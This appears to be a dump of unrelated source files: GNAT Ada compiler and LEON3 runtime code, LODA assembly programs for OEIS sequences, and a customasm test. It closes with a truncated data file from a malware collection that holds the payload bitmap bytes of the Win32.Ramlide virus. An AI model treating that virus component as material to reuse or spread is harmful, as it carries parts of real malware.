List_Id) is begin Generate_Subprogram_Descriptor (Empty, Sloc (Spec), Spec, Slist); end Generate_Subprogram_Descriptor_For_Imported_Subprogram; ------------------------------------------------ -- Generate_Subprogram_Descriptor_For_Package -- ------------------------------------------------ procedure Generate_Subprogram_Descriptor_For_Package (N : Node_Id; Spec : Entity_Id) is Adecl : Node_Id; begin Adecl := Aux_Decls_Node (Parent (N)); if No (Actions (Adecl)) then Set_Actions (Adecl, New_List); end if; Generate_Subprogram_Descriptor (N, Sloc (N), Spec, Actions (Adecl)); end Generate_Subprogram_Descriptor_For_Package; --------------------------------------------------- -- Generate_Subprogram_Descriptor_For_Subprogram -- --------------------------------------------------- procedure Generate_Subprogram_Descriptor_For_Subprogram (N : Node_Id; Spec : Entity_Id) is HSS : constant Node_Id := Handled_Statement_Sequence (N); begin if No (Exception_Handlers (HSS)) then Generate_Subprogram_Descriptor (N, Sloc (N), Spec, Statements (HSS)); else Generate_Subprogram_Descriptor (N, Sloc (N), Spec, Statements (Last (Exception_Handlers (HSS)))); end if; end Generate_Subprogram_Descriptor_For_Subprogram; ----------------------------------- -- Generate_Unit_Exception_Table -- ----------------------------------- -- The only remaining thing to generate here is to generate the -- reference to the subprogram descriptor chain. See Ada.Exceptions -- for details of required data structures. procedure Generate_Unit_Exception_Table is Loc : constant Source_Ptr := No_Location; Num : Nat; Decl : Node_Id; Ent : Entity_Id; Next_Ent : Entity_Id; Stent : Entity_Id; begin -- Nothing to be done if zero length exceptions not active if Exception_Mechanism /= Front_End_ZCX then return; end if; -- Remove any entries from SD_List that correspond to eliminated -- subprograms. Ent := First (SD_List); while Present (Ent) loop Next_Ent := Next (Ent); if Is_Eliminated (Scope (Entity (Prefix (Ent)))) then Remove (Ent); -- After this, there is no Next (Ent) anymore end if; Ent := Next_Ent; end loop; -- Nothing to do if no unit exception table present. -- An empty table can result from subprogram elimination, -- in such a case, eliminate the exception table itself. if Is_Empty_List (SD_List) then Unit_Exception_Table_Present := False; return; end if; -- Do not generate table in a generic if Inside_A_Generic then return; end if; -- Generate the unit exception table -- subtype Tnn is Subprogram_Descriptors_Record (Num); -- __gnat_unitname__SDP : aliased constant Tnn := -- Num, -- (sub1'unrestricted_access, -- sub2'unrestricted_access, -- ... -- subNum'unrestricted_access)); Num := List_Length (SD_List); Stent := Make_Defining_Identifier (Loc, Chars => New_Internal_Name ('T')); Insert_Library_Level_Action ( Make_Subtype_Declaration (Loc, Defining_Identifier => Stent, Subtype_Indication => Make_Subtype_Indication (Loc, Subtype_Mark => New_Occurrence_Of (RTE (RE_Subprogram_Descriptors_Record), Loc), Constraint => Make_Index_Or_Discriminant_Constraint (Loc, Constraints => New_List ( Make_Integer_Literal (Loc, Num)))))); Set_Is_Statically_Allocated (Stent); Get_External_Unit_Name_String (Unit_Name (Main_Unit)); Name_Buffer (1 + 7 .. Name_Len + 7) := Name_Buffer (1 .. Name_Len); Name_Buffer (1 .. 7) := "__gnat_"; Name_Len := Name_Len + 7; Add_Str_To_Name_Buffer ("__SDP"); Ent := Make_Defining_Identifier (Loc, Chars => Name_Find); Get_Name_String (Chars (Ent)); Set_Interface_Name (Ent, Make_String_Literal (Loc, Strval => String_From_Name_Buffer)); Decl := Make_Object_Declaration (Loc, Defining_Identifier => Ent, Object_Definition => New_Occurrence_Of (Stent, Loc), Constant_Present => True, Aliased_Present => True, Expression => Make_Aggregate (Loc, New_List ( Make_Integer_Literal (Loc, List_Length (SD_List)), Make_Aggregate (Loc, Expressions => SD_List)))); Insert_Library_Level_Action (Decl); Set_Is_Exported (Ent, True); Set_Is_Public (Ent, True); Set_Is_Statically_Allocated (Ent, True); Get_Name_String (Chars (Ent)); Set_Interface_Name (Ent, Make_String_Literal (Loc, Strval => String_From_Name_Buffer)); end Generate_Unit_Exception_Table; ---------------- -- Initialize -- ---------------- procedure Initialize is begin SD_List := Empty_List; end Initialize; ---------------------- -- Is_Non_Ada_Error -- ---------------------- function Is_Non_Ada_Error (E : Entity_Id) return Boolean is begin if not OpenVMS_On_Target then return False; end if; Get_Name_String (Chars (E)); -- Note: it is a little irregular for the body of exp_ch11 to know -- the details of the encoding scheme for names, but on the other -- hand, gigi knows them, and this is for gigi's benefit anyway! if Name_Buffer (1 .. 30) /= "system__aux_dec__non_ada_error" then return False; end if; return True; end Is_Non_Ada_Error; ---------------------------- -- Remove_Handler_Entries -- ---------------------------- procedure Remove_Handler_Entries (N : Node_Id) is function Check_Handler_Entry (N : Node_Id) return Traverse_Result; -- This function checks one node for a possible reference to a -- handler entry that must be deleted. it always returns OK. function Remove_All_Handler_Entries is new Traverse_Func (Check_Handler_Entry); -- This defines the traversal operation Discard : Traverse_Result; function Check_Handler_Entry (N : Node_Id) return Traverse_Result is begin if Nkind (N) = N_Object_Declaration then if Present (Handler_List_Entry (N)) then Remove (Handler_List_Entry (N)); Delete_Tree (Handler_List_Entry (N)); Set_Handler_List_Entry (N, Empty); elsif Is_Subprogram_Descriptor (N) then declare SDN : Node_Id; begin SDN := First (SD_List); while Present (SDN) loop if Defining_Identifier (N) = Entity (Prefix (SDN)) then Remove (SDN); Delete_Tree (SDN); exit; end if; Next (SDN); end loop; end; end if; end if; return OK; end Check_Handler_Entry; -- Start of processing for Remove_Handler_Entries begin if Exception_Mechanism = Front_End_ZCX then Discard := Remove_All_Handler_Entries (N); end if; end Remove_Handler_Entries; end Exp_Ch11;
programs/oeis/319/A319556.asm
karttu/loda
1
242181
; A319556: a(n) gives the alternating sum of length n, starting at n: n - (n+1) + (n+2) - ... + (-1)^(n+1) * (2n-1). ; 1,-1,4,-2,7,-3,10,-4,13,-5,16,-6,19,-7,22,-8,25,-9,28,-10,31,-11,34,-12,37,-13,40,-14,43,-15,46,-16,49,-17,52,-18,55,-19,58,-20,61,-21,64,-22,67,-23,70,-24,73,-25,76,-26,79,-27,82,-28,85,-29,88,-30,91,-31,94,-32,97,-33,100,-34,103,-35,106,-36,109,-37,112,-38,115,-39,118,-40,121,-41,124,-42,127,-43,130,-44,133,-45,136,-46,139,-47,142,-48,145,-49,148,-50,151,-51,154,-52,157,-53,160,-54,163,-55,166,-56,169,-57,172,-58,175,-59,178,-60,181,-61,184,-62,187,-63,190,-64,193,-65,196,-66,199,-67,202,-68,205,-69,208,-70,211,-71,214,-72,217,-73,220,-74,223,-75,226,-76,229,-77,232,-78,235,-79,238,-80,241,-81,244,-82,247,-83,250,-84,253,-85,256,-86,259,-87,262,-88,265,-89,268,-90,271,-91,274,-92,277,-93,280,-94,283,-95,286,-96,289,-97,292,-98,295,-99,298,-100,301,-101,304,-102,307,-103,310,-104,313,-105,316,-106,319,-107,322,-108,325,-109,328,-110,331,-111,334,-112,337,-113,340,-114,343,-115,346,-116,349,-117,352,-118,355,-119,358,-120,361,-121,364,-122,367,-123,370,-124,373,-125 mov $2,-2 bin $2,$0 mul $2,2 add $2,$0 mov $0,1 add $0,$2 div $0,2 mov $1,$0
programs/oeis/253/A253679.asm
karttu/loda
1
12024
<gh_stars>1-10 ; A253679: Numbers a(n) that are the starting terms in the sum of an odd number of consecutive cubes equal to a square. ; 23,118,333,716,1315,2178,3353,4888,6831,9230,12133,15588,19643,24346,29745,35888,42823,50598,59261,68860,79443,91058,103753,117576,132575,148798,166293,185108,205291,226890,249953,274528,300663,328406,357805,388908,421763,456418,492921,531320,571663,613998,658373,704836,753435,804218,857233,912528,970151,1030150,1092573,1157468,1224883,1294866,1367465,1442728,1520703,1601438,1684981,1771380,1860683,1952938,2048193,2146496,2247895,2352438,2460173,2571148,2685411,2803010,2923993,3048408,3176303,3307726,3442725,3581348,3723643,3869658,4019441,4173040,4330503,4491878,4657213,4826556,4999955,5177458,5359113,5544968,5735071,5929470,6128213,6331348,6538923,6750986,6967585,7188768,7414583,7645078,7880301,8120300,8365123,8614818,8869433,9129016,9393615,9663278,9938053,10217988,10503131,10793530,11089233,11390288,11696743,12008646,12326045,12648988,12977523,13311698,13651561,13997160,14348543,14705758,15068853,15437876,15812875,16193898,16580993,16974208,17373591,17779190,18191053,18609228,19033763,19464706,19902105,20346008,20796463,21253518,21717221,22187620,22664763,23148698,23639473,24137136,24641735,25153318,25671933,26197628,26730451,27270450,27817673,28372168,28933983,29503166,30079765,30663828,31255403,31854538,32461281,33075680,33697783,34327638,34965293,35610796,36264195,36925538,37594873,38272248,38957711,39651310,40353093,41063108,41781403,42508026,43243025,43986448,44738343,45498758,46267741,47045340,47831603,48626578,49430313,50242856,51064255,51894558,52733813,53582068,54439371,55305770,56181313,57066048,57960023,58863286,59775885,60697868,61629283,62570178,63520601,64480600,65450223,66429518,67418533,68417316,69425915,70444378,71472753,72511088,73559431,74617830,75686333,76764988,77853843,78952946,80062345,81182088,82312223,83452798,84603861,85765460,86937643,88120458,89313953,90518176,91733175,92958998,94195693,95443308,96701891,97971490,99252153,100543928,101846863,103161006,104486405,105823108,107171163,108530618,109901521,111283920,112677863,114083398,115500573,116929436,118370035,119822418,121286633,122762728,124250751,125750750 mov $2,$0 add $2,$0 mov $3,$2 add $3,3 mov $2,$3 pow $2,3 mov $1,$2 mul $1,2 mul $3,3 sub $1,$3 div $1,2 add $1,1
oeis/002/A002487.asm
neoneye/loda-programs
11
91012
; A002487: Stern's diatomic series (or Stern-Brocot sequence): a(0) = 0, a(1) = 1; for n > 0: a(2*n) = a(n), a(2*n+1) = a(n) + a(n+1). ; Submitted by <NAME>(w3) ; 0,1,1,2,1,3,2,3,1,4,3,5,2,5,3,4,1,5,4,7,3,8,5,7,2,7,5,8,3,7,4,5,1,6,5,9,4,11,7,10,3,11,8,13,5,12,7,9,2,9,7,12,5,13,8,11,3,10,7,11,4,9,5,6,1,7,6,11,5,14,9,13,4,15,11,18,7,17,10,13,3,14,11,19,8,21,13,18,5,17,12,19,7,16,9,11,2,11,9,16 mul $0,4 mov $2,2 mov $3,1 lpb $0 div $0,2 sub $2,$3 mov $3,5 add $3,$0 div $3,2 mod $3,2 mov $4,$2 add $2,$1 mul $3,$4 add $1,$3 lpe mov $0,$1
bb-runtimes/src/s-bbbosu__leon3.adb
JCGobbi/Nucleo-STM32G474RE
0
9141
<gh_stars>0 ------------------------------------------------------------------------------ -- -- -- GNAT RUN-TIME LIBRARY (GNARL) COMPONENTS -- -- -- -- S Y S T E M . B B . B O A R D _ S U P P O R T -- -- -- -- B o d y -- -- -- -- Copyright (C) 1999-2002 Universidad Politecnica de Madrid -- -- Copyright (C) 2003-2006 The European Space Agency -- -- Copyright (C) 2003-2017, AdaCore -- -- -- -- GNARL is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNARL is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- As a special exception under Section 7 of GPL version 3, you are granted -- -- additional permissions described in the GCC Runtime Library Exception, -- -- version 3.1, as published by the Free Software Foundation. -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- GNARL was developed by the GNARL team at Florida State University. -- -- Extensive contributions were provided by Ada Core Technologies, Inc. -- -- -- -- The port of GNARL to bare board targets was initially developed by the -- -- Real-Time Systems Group at the Technical University of Madrid. -- -- -- ------------------------------------------------------------------------------ -- This is the LEON3 version of this package pragma Restrictions (No_Elaboration_Code); with Interfaces.Leon3.Timers; with Interfaces.Leon3.Irqmp; with System.BB.Board_Parameters; with System.BB.CPU_Primitives.Multiprocessors; with System.Machine_Code; with Interfaces; package body System.BB.Board_Support is use CPU_Primitives; use Interfaces.Leon3.Timers; use Interfaces.Leon3.Irqmp; use System.Multiprocessors; use BB.Interrupts; use Time; use Interfaces; ----------------------- -- Local Definitions -- ----------------------- Periodic_Count : constant := Time.Timer_Interval'Last - 1; -- Value to be loaded in the clock counter to accomplish the -- Clock_Interrupt_Period. -- -- One is subtracted from Timer_Interval'Last because the timeout period -- will count an extra cycle for reloading the counter. subtype Normal_Interrupt_Range is Natural range 1 .. 15; subtype Extended_Interrupt_Range is Natural range 16 .. 31; -- Interrupts range Poke_Interrupt : constant System.BB.Interrupts.Interrupt_ID := 14; -- Use interrupt 14 because 15 is unmaskable with PIL field of PSR register -- (see SPARCv8 manual 7.3. Trap Control). -- -- The value is copied in trap_handler-bb-sparc.S Alarm_CPU : constant System.Multiprocessors.CPU := System.Multiprocessors.CPU'First; -- CPU which will handle the alarm interrupt ---------------------- -- Local Procedures -- ---------------------- procedure Initialize_Clock; -- Perform all the initialization related to the clock procedure Extended_Interrupt_Handler (Vector : CPU_Primitives.Vector_Id); -- Low-level interrupt handler for extended interrupts ---------------------- -- Initialize_Board -- ---------------------- procedure Initialize_Board is Is_SMP : constant Boolean := Board_Parameters.Max_Number_Of_CPUs > 1; Has_Extended_Interrupts : constant Boolean := Board_Parameters.Extended_Interrupts_Level /= 0; begin Initialize_Clock; -- Initialize interrupts. for CPU_Id in CPU loop -- Mask all interrupts Interrupt_Mask (CPU_Id) := 0; end loop; if Has_Extended_Interrupts then -- Check interrupt number used for extended interrupts declare Reg : constant Multiprocessor_Status_Register := Multiprocessor_Status; begin pragma Assert (Reg.EIRQ = Board_Parameters.Extended_Interrupts_Level); end; -- Install handler CPU_Primitives.Install_Trap_Handler (Extended_Interrupt_Handler'Address, CPU_Primitives.Vector_Id (Board_Parameters.Extended_Interrupts_Level + 16#10#)); -- There is no need to unmask the extended interrupt, as the mask -- is only used for the normal interrupt and the extended interrupt -- is always enabled. end if; if Is_SMP then -- Enable Poke interrupts for all CPUs for CPU_Id in CPU loop Interrupt_Mask (CPU_Id) := Interrupt_Mask (CPU_Id) or 2**Poke_Interrupt; end loop; end if; end Initialize_Board; ---------------------- -- Initialize_Clock -- ---------------------- procedure Initialize_Clock is Prescaler : constant Prescaler_Register := (Value => Board_Parameters.Prescaler_Min, Reserved => (others => False)); -- Minimum prescaler to be used to achieve best granularity Periodic_Mode : constant Timer_Control_Register := (Enable => True, Reload_Counter => True, Load_Counter => True, Interrupt_Enable => False, Interrupt_Pending => False, Chain => False, Debug_Halt => False, Reserved => (others => False)); begin -- Set the prescaler value to achieve the required granularity Prescaler_Reload := Prescaler; -- Load the counter for the real-time clock Timer_2_Reload := Periodic_Count; -- Program the timer in periodic mode to serve as a clock Timer_2_Control := Periodic_Mode; end Initialize_Clock; package body Time is Alarm_Interrupt_ID : constant Interrupt_ID := Board_Parameters.Timer_1_Interrupt; --------------------------- -- Install_Alarm_Handler -- --------------------------- procedure Install_Alarm_Handler (Handler : BB.Interrupts.Interrupt_Handler) is begin BB.Interrupts.Attach_Handler (Handler, Alarm_Interrupt_ID, Interrupts.Priority_Of_Interrupt (Alarm_Interrupt_ID)); end Install_Alarm_Handler; --------------------------- -- Clear_Alarm_Interrupt -- --------------------------- procedure Clear_Alarm_Interrupt is begin -- Interrupts are cleared automatically when they are acknowledged null; end Clear_Alarm_Interrupt; ------------------------ -- Max_Timer_Interval -- ------------------------ function Max_Timer_Interval return Timer_Interval is begin return Timer_Interval'Last; end Max_Timer_Interval; ---------------- -- Read_Clock -- ---------------- function Read_Clock return BB.Time.Time is begin return BB.Time.Time (Periodic_Count - Timer_2_Counter); end Read_Clock; --------------- -- Set_Alarm -- --------------- procedure Set_Alarm (Ticks : Timer_Interval) is One_Shot_Mode : constant Timer_Control_Register := (Enable => True, Reload_Counter => False, Load_Counter => True, Interrupt_Enable => True, Interrupt_Pending => False, Chain => False, Debug_Halt => False, Reserved => (others => False)); begin -- Alarm Clock downcount will reach 0 in Ticks. The granularity of -- time intervals is equal to Clock Period. -- Set the prescaler: already done in Initialize_Clock -- Load the counter Timer_1_Reload := Ticks; -- Program the timer in one-shot mode Timer_1_Control := One_Shot_Mode; -- Enable Timer 1 Interrupts Interrupt_Mask (Alarm_CPU) := Interrupt_Mask (Alarm_CPU) or 2**Board_Parameters.Timer_1_Interrupt; end Set_Alarm; end Time; procedure Extended_Interrupt_Handler (Vector : CPU_Primitives.Vector_Id) is CPU_Id : constant CPU := Multiprocessors.Current_CPU; Id : Interrupt_ID; begin -- Vector must be the interrupt for extended interrupts pragma Assert (Vector = 16#10# + Board_Parameters.Extended_Interrupts_Level); Id := System.BB.Interrupts.Interrupt_ID (Extended_Interrupt_Acknowledge_Register (CPU_Id)); Interrupt_Wrapper (Id); end Extended_Interrupt_Handler; package body Interrupts is procedure Interrupt_Handler (Vector : CPU_Primitives.Vector_Id); -- Low-level interrupt handler ---------------- -- Power_Down -- ---------------- procedure Power_Down is begin System.Machine_Code.Asm ("wr %%g0, %%asr19", Volatile => True); end Power_Down; --------------------------- -- Priority_Of_Interrupt -- --------------------------- function Priority_Of_Interrupt (Interrupt : Interrupt_ID) return System.Any_Priority is begin -- Assert that it is a real interrupt pragma Assert (Interrupt /= System.BB.Interrupts.No_Interrupt); -- Some leon3 board may only have normal interrupts pragma Warnings (Off, "explicit membership test may be optimized*"); if Interrupt in Normal_Interrupt_Range then return Any_Priority (Interrupt) + Interrupt_Priority'First - 1; else -- All extended interrupts have the same priority (the one set in -- EIRQ). pragma Assert (Interrupt in Extended_Interrupt_Range); return Board_Parameters.Extended_Interrupts_Level + Interrupt_Priority'First - 1; end if; pragma Warnings (On, "explicit membership test may be optimized*"); end Priority_Of_Interrupt; -------------------------- -- Set_Current_Priority -- -------------------------- procedure Set_Current_Priority (Priority : Integer) is begin null; -- No board-specific actions necessary end Set_Current_Priority; ----------------------- -- Interrupt_Handler -- ----------------------- procedure Interrupt_Handler (Vector : CPU_Primitives.Vector_Id) is Id : Interrupt_ID; begin -- The range corresponding to asynchronous traps is 16#11# .. 16#1F# pragma Assert (Vector in 16#11# .. 16#1F#); Id := System.BB.Interrupts.Interrupt_ID (Vector - 16#10#); Interrupt_Wrapper (Id); end Interrupt_Handler; ------------------------------- -- Install_Interrupt_Handler -- ------------------------------- procedure Install_Interrupt_Handler (Interrupt : Interrupt_ID; Prio : Interrupt_Priority) is pragma Unreferenced (Prio); begin pragma Warnings (Off, "explicit membership test may be optimized*"); if Interrupt in Normal_Interrupt_Range then CPU_Primitives.Install_Trap_Handler (Interrupt_Handler'Address, CPU_Primitives.Vector_Id (Interrupt + 16#10#)); end if; pragma Warnings (On, "explicit membership test may be optimized*"); end Install_Interrupt_Handler; end Interrupts; package body Multiprocessors is procedure Poke_Handler (Interrupt : BB.Interrupts.Interrupt_ID); -- Handler for the Poke interrupt function ASR_17 return Unsigned_32; -- Return current value of the ASR 17 register procedure Start_CPU (CPU_Id : CPU); -- Start one cpu -------------------- -- Number_Of_CPUs -- -------------------- function Number_Of_CPUs return CPU is begin return CPU'Val (Multiprocessor_Status.NCPUS + 1); end Number_Of_CPUs; ------------ -- ASR_17 -- ------------ function ASR_17 return Unsigned_32 is R : Unsigned_32; begin System.Machine_Code.Asm ("mov %%asr17, %0" & ASCII.LF & ASCII.HT, Outputs => Unsigned_32'Asm_Output ("=r", R), Volatile => True); return R; end ASR_17; ----------------- -- Current_CPU -- ----------------- function Current_CPU return CPU is -- Get CPU Id from bits 31-28 of the Asr17 register (if CPU'Last = 1 then 1 else CPU (Shift_Right (ASR_17, 28) + 1)); -------------- -- Poke_CPU -- -------------- procedure Poke_CPU (CPU_Id : CPU) is begin -- There is no need to protect access to the register since the only -- operation applied to it is this assignment and it's always with -- the same value (2**Poke_Interrupt_ID). -- No race condition possible here. Interrupt_Force (CPU_Id) := Interrupt_Force (CPU_Id) or 2 ** Poke_Interrupt; end Poke_CPU; --------------- -- Start_CPU -- --------------- procedure Start_CPU (CPU_Id : CPU) is Reg : Multiprocessor_Status_Register; begin -- Set bit n in Status Register to start CPU n Reg := Multiprocessor_Status; Reg.Status := 2**(CPU'Pos (CPU_Id) - 1); Multiprocessor_Status := Reg; end Start_CPU; -------------------- -- Start_All_CPUs -- -------------------- procedure Start_All_CPUs is begin BB.Interrupts.Attach_Handler (Poke_Handler'Access, Poke_Interrupt, Interrupt_Priority'Last); -- Disable warnings in case of one cpu pragma Warnings (Off, "loop range is null*"); for CPU_Id in CPU'First + 1 .. CPU'Last loop Start_CPU (CPU_Id); end loop; pragma Warnings (On, "loop range is null*"); end Start_All_CPUs; ------------------ -- Poke_Handler -- ------------------ procedure Poke_Handler (Interrupt : BB.Interrupts.Interrupt_ID) is begin -- Make sure we are handling the right interrupt pragma Assert (Interrupt = Poke_Interrupt); System.BB.CPU_Primitives.Multiprocessors.Poke_Handler; end Poke_Handler; end Multiprocessors; end System.BB.Board_Support;
tests/bank_default/3.asm
NullMember/customasm
414
164535
#res 4 #bankdef a_new_bank {} ; error: default bank
programs/oeis/332/A332132.asm
neoneye/loda
22
98746
; A332132: a(n) = (10^(2n+1)-1)/3 - 10^n. ; 2,323,33233,3332333,333323333,33333233333,3333332333333,333333323333333,33333333233333333,3333333332333333333,333333333323333333333,33333333333233333333333,3333333333332333333333333,333333333333323333333333333,33333333333333233333333333333,3333333333333332333333333333333 add $0,1 mov $1,10 pow $1,$0 sub $1,1 bin $1,2 sub $1,15 div $1,5 add $1,2 div $1,3 mov $0,$1
Win32/Win32.Ramlide/bitmap.asm
fengjixuchui/Family
3
44
<reponame>fengjixuchui/Family ;; Imagen del Payload ;; @BitMap: DB 042h, 01Ch, 04Dh, 0B6h, 0F4h, 02Ah, 001h, 033h DB 036h, 004h, 008h, 028h, 010h, 011h, 09Eh, 001h DB 022h, 094h, 0CAh, 00Eh, 008h, 018h, 08Eh, 080h DB 0F0h, 014h, 001h, 0ECh, 080h, 0ABh, 003h, 078h DB 008h, 0A4h, 007h, 0A3h, 002h, 036h, 013h, 0C0h DB 002h, 008h, 040h, 0DCh, 0F0h, 031h, 0CAh, 0A6h DB 01Ah, 020h, 040h, 091h, 009h, 060h, 022h, 080h DB 044h, 0A0h, 0C0h, 089h, 0E0h, 006h, 02Fh, 0DFh DB 008h, 062h, 0F3h, 012h, 060h, 024h, 080h, 048h DB 0A0h, 091h, 0C0h, 064h, 041h, 060h, 05Dh, 022h DB 0F1h, 017h, 0C8h, 0BEh, 045h, 0F2h, 02Fh, 091h DB 07Fh, 08Ah, 0ADh, 071h, 041h, 0E2h, 02Fh, 091h DB 07Ch, 08Bh, 0E4h, 05Fh, 022h, 0F9h, 017h, 0B8h DB 0BFh, 0C5h, 0E2h, 02Fh, 091h, 07Ch, 08Bh, 0E4h DB 05Fh, 022h, 0F9h, 017h, 078h, 0BDh, 0C5h, 0FEh DB 02Fh, 091h, 07Ch, 08Bh, 0E4h, 05Fh, 022h, 0F9h DB 017h, 038h, 0BBh, 0C5h, 0EEh, 02Fh, 0F1h, 07Ch DB 08Bh, 0E4h, 05Fh, 022h, 0F9h, 005h, 035h, 0BFh DB 01Ah, 0C9h, 008h, 0A6h, 002h, 060h, 009h, 044h DB 080h, 0A0h, 089h, 0C0h, 012h, 0E0h, 0B3h, 0DBh DB 0A6h, 041h, 0F1h, 017h, 0C8h, 0BEh, 045h, 0FEh DB 02Fh, 091h, 07Ch, 08Bh, 0ECh, 05Fh, 062h, 0FBh DB 017h, 0D8h, 0BEh, 0C5h, 0F6h, 02Fh, 0F1h, 07Dh DB 089h, 060h, 017h, 048h, 0BCh, 045h, 0F2h, 02Fh DB 091h, 07Ch, 08Bh, 0E4h, 05Fh, 0E2h, 0FFh, 017h DB 048h, 0BCh, 045h, 0F2h, 02Fh, 091h, 07Ch, 08Bh DB 0E4h, 05Fh, 022h, 0F7h, 017h, 0F8h, 0BCh, 045h DB 0F2h, 02Fh, 091h, 07Ch, 08Bh, 0E4h, 05Fh, 022h DB 0EFh, 017h, 0B8h, 0BFh, 0C5h, 0F2h, 02Fh, 091h DB 07Ch, 08Bh, 0E4h, 05Fh, 022h, 0E7h, 017h, 078h DB 0BDh, 0C5h, 0FEh, 02Fh, 091h, 07Ch, 08Bh, 0E4h DB 05Fh, 020h, 093h, 0F0h, 014h, 020h, 0F6h, 0D9h DB 008h, 060h, 026h, 0FCh, 049h, 000h, 07Ch, 08Bh DB 0E4h, 05Fh, 0A2h, 0F9h, 017h, 0C8h, 0BEh, 045h DB 0F2h, 02Fh, 091h, 07Ch, 08Bh, 0E4h, 05Fh, 0A2h DB 0F9h, 017h, 0C8h, 0BEh, 045h, 0F2h, 02Fh, 091h DB 07Ch, 08Bh, 0E4h, 05Fh, 0A2h, 0F9h, 017h, 0C8h DB 0BEh, 045h, 0F2h, 02Fh, 091h, 07Ch, 08Bh, 0E4h DB 05Fh, 0A2h, 0F9h, 017h, 0C8h, 0BEh, 045h, 0FEh DB 02Fh, 0F1h, 07Fh, 08Bh, 0FCh, 05Fh, 0E2h, 0FFh DB 017h, 0F8h, 0BFh, 0C5h, 0F2h, 02Fh, 091h, 07Ch DB 08Bh, 0E4h, 05Fh, 0A2h, 0F9h, 017h, 0C8h, 0BEh DB 045h, 0F2h, 02Fh, 091h, 07Ch, 08Bh, 0E4h, 05Fh DB 0A2h, 0F9h, 017h, 0C8h, 0BEh, 045h, 0F2h, 02Fh DB 091h, 07Ch, 08Bh, 0E4h, 05Dh, 0A2h, 0F5h, 017h DB 0E9h, 019h, 0F2h, 060h, 04Dh, 0F6h, 091h, 008h DB 0A0h, 050h, 002h, 0E0h, 09Bh, 05Bh, 03Ah, 06Fh DB 041h, 011h, 07Ch, 08Bh, 0E4h, 05Fh, 0E2h, 0F9h DB 017h, 0C8h, 091h, 040h, 074h, 08Bh, 0C4h, 05Fh DB 022h, 0F9h, 017h, 0C8h, 0BFh, 0C5h, 0F2h, 024h DB 060h, 05Dh, 022h, 0F1h, 017h, 0C8h, 0BEh, 045h DB 0F2h, 02Fh, 091h, 07Fh, 08Bh, 0FCh, 05Dh, 022h DB 0F1h, 017h, 0C8h, 0BEh, 045h, 0F2h, 02Fh, 091h DB 07Ch, 08Bh, 0DCh, 05Fh, 0E2h, 0F1h, 017h, 0C8h DB 0BEh, 045h, 0F2h, 02Fh, 091h, 07Ch, 08Bh, 0ECh DB 05Fh, 062h, 0FFh, 017h, 0D8h, 0BEh, 0C5h, 087h DB 06Bh, 0F0h, 0FBh, 0FFh, 006h, 0A4h, 050h, 091h DB 050h, 0B7h, 002h, 0CAh, 003h, 0B7h, 008h, 08Ah DB 007h, 04Ah, 002h, 028h, 013h, 0D5h, 00Bh, 001h DB 0FFh, 0EFh, 022h, 010h, 0A7h, 02Dh, 072h, 045h DB 05Fh, 0F5h, 0C9h, 03Fh, 03Dh, 04Dh, 069h, 0CEh DB 047h, 0A2h, 05Ah, 089h, 02Ch, 017h, 0A2h, 07Fh DB 024h, 032h, 07Ah, 04Dh, 03Dh, 0DBh, 036h, 063h DB 018h, 003h, 071h, 0A5h, 02Dh, 0FAh, 04Dh, 0A2h DB 07Fh, 0A9h, 0CFh, 0BAh, 0D7h, 001h, 0A5h, 079h DB 020h, 077h, 07Ah, 09Ah, 02Bh, 0B4h, 00Ah, 0A7h DB 011h, 0A4h, 032h, 0ABh, 011h, 035h, 017h, 02Eh DB 028h, 06Ah, 025h, 008h, 0D2h, 04Dh, 0D0h, 08Dh DB 018h, 002h, 003h, 0D6h, 0B4h, 014h, 0FDh, 05Ah DB 0B5h, 094h, 02Dh, 06Bh, 0E0h, 037h, 074h, 0B5h DB 02Ah, 03Fh, 0EBh, 0D4h, 015h, 0A4h, 0A3h, 069h DB 092h, 02Bh, 00Ch, 056h, 045h, 0B7h, 009h, 0BFh DB 030h, 065h, 010h, 06Eh, 001h, 0D4h, 03Bh, 0BFh DB 024h, 018h, 05Eh, 0EAh, 00Bh, 0D2h, 09Dh, 001h DB 04Ch, 06Ah, 028h, 071h, 030h, 0E7h, 0A6h, 070h DB 046h, 057h, 0A9h, 02Dh, 036h, 058h, 0CBh, 091h DB 0A2h, 0F9h, 010h, 04Ah, 001h, 0ADh, 0A4h, 08Ch DB 0D3h, 05Dh, 0BFh, 0CCh, 0D3h, 0F9h, 028h, 0CCh DB 0BBh, 053h, 009h, 097h, 037h, 03Fh, 05Ah, 001h DB 0F4h, 0AFh, 020h, 029h, 03Bh, 0CAh, 007h, 0ABh DB 00Ah, 04Ah, 011h, 052h, 044h, 032h, 03Ah, 031h DB 06Ah, 052h, 010h, 07Bh, 0F3h, 0EEh, 04Ch, 069h DB 0A5h, 04Fh, 04Ah, 008h, 0D3h, 0F5h, 038h, 025h DB 002h, 015h, 030h, 073h, 0B3h, 038h, 09Dh, 02Bh DB 095h, 0D2h, 0A0h, 02Dh, 031h, 0B4h, 06Ah, 030h DB 08Bh, 04Ah, 002h, 02Fh, 016h, 055h, 07Ah, 04Fh DB 0EBh, 0F5h, 029h, 015h, 0AEh, 00Ah, 00Bh, 05Ah DB 095h, 0E6h, 03Ah, 056h, 045h, 0B4h, 0A2h, 0A0h DB 0D2h, 07Fh, 0B3h, 04Dh, 0E0h, 0B9h, 0CFh, 0AFh DB 05Ah, 001h, 0F4h, 0AFh, 020h, 037h, 0E1h, 00Bh DB 096h, 07Ah, 0A2h, 01Dh, 0B4h, 00Ah, 0A5h, 026h DB 026h, 0D1h, 042h, 0F6h, 069h, 0B3h, 011h, 0CFh DB 0BBh, 032h, 00Ah, 0BEh, 04Fh, 0E3h, 05Ah, 008h DB 07Eh, 0A7h, 025h, 0A4h, 0A0h, 004h, 008h, 0FFh DB 029h, 099h, 0A1h, 0D2h, 0BDh, 095h, 02Ah, 001h DB 090h, 0A0h, 072h, 0FFh, 06Ah, 030h, 036h, 046h DB 0EEh, 05Ch, 026h, 0E8h, 0DBh, 053h, 033h, 0EBh DB 0FDh, 04Ah, 015h, 04Ah, 029h, 069h, 05Fh, 087h DB 051h, 011h, 